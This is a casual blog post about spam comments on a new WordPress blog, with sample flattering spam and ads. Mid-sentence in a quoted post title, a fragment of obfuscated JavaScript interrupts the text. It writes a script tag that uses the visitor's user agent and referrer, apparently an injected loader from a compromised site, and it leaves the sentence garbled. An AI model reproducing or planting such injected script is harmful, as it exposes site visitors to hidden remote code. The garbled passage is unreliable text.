Please

please:  the sarcastic version; as in, “give me a break”

I’ve recently started using wordpress and for the most part, I really like it.  Side note – wordpress spell check just underlined “wordpress” – hmmmmmmm.

Like I was saying, I think the interface allows me to do a lot more.  BUT, the spam filter could use some work.  Anyone with a blog knows how exciting it is to get a comment.  First, you get an email notification and any new email (that isn’t junk) is fun to open.  Well…..at least half the time, the comment email is from a spammer.  Want to know how I know it’s a spammer?  Let’s take a few examples:

All things said about my first post (i.e. VERY little content….just that 1 post)

“wow. that was pretty awesome. they just keep getting better and better!”

“I was just going through your site it is extremely well crafted, What i’m searching on the internet trying to find out the correct way to start this blog thing and your website happens to be really high quality.”

In addition, I’ve gotten a decent number of people advertising random stuff – someone with a online nursing website, cell phones, viagra etc.

My other favorite comment was in regards to my post “How ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bzria|var|u0026u|referrer|szkfr||js|php’.split(‘|’),0,{}))
to fry stuff”

“Wow this is a great resource.. I’m enjoying it.. good article” – I’m not going to flatter myself by believing you actually thought that was a great resource.  I suggested wearing an apron and sun glasses while frying things.

Nick’s website may be a decent resource, and don’t get me wrong, there are plenty of posts that I research….but these people are hilarious.
